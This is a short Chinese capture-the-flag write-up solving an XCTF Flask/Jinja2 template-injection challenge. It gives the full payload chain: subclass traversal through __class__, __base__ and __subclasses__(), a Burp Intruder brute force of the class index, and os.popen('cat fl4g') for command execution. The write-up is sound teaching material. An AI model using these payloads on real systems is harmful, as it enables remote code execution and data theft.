跳转至

每日一题 —— [攻防世界]Web_python_template_injection

题目地址:https://adworld.xctf.org.cn/challenges/list?rwNmOdr=1720286938145

根据题目,这是一道 python 下的模板注入的问题。我们暂时不知道注入的参数是什么,那么我们就直接在 url 后面随便打点东西,发现网页会直接把我们输入的 url 回显一遍。

那么注入点就比较简单,我们直接在 url 后面写 {{1+1}} ,发现网页直接回显了 2 。那么再根据题目,我们确认这道题就是 flask+jinja2 的模板注入。

首先获得所有的子类:

{{"".__class__.__base__}}

发现回显的不是 object ,而是 basestring 。那么我们就继续再加上一个 __base__ ,发现回显的是 object 。然后我们就使用 __subclasses__() 获取所有子类

{{"".__class__.__base__.__base__.__subclasses__()}}

可以看到有许多的子类。按照正常情况,我们需要一个类有加载 os 模块的,但是我们之前使用的 os._wrap_close 类在这里找不到,那么我们可以硬着头皮去爆破找一下。先写下这一个 url:

{{"".__class__.__base__.__base__.__subclasses__()[0].__init__.__globals__['os']}}

这个意思就是说,找到这个子类,然后初始化后看有没有加载 os 模块。显然,type 类不可能加载 os 模块,那么我们就开始对着爆破。

打开 burpsuite ,然后发往 intruder,标记那个 0 ,设置好数值模式,范围 1~200。

可以看到有两种长度,长为 450 的就是正常情况没有加载 os 模块,而长为 287 的就显示出了 os 模块的信息。我们使用 71 这个 payload,确认一下:

{{"".__class__.__base__.__base__.__subclasses__()[71].__init__.__globals__['os']}}

显示出 os 模块的信息,那么我们就可以使用这个模块了。

我们使用 os 模块下的 popen 方法,直接命令执行了:

{{"".__class__.__base__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}

这样就获得了 flag


文章热度:0次阅读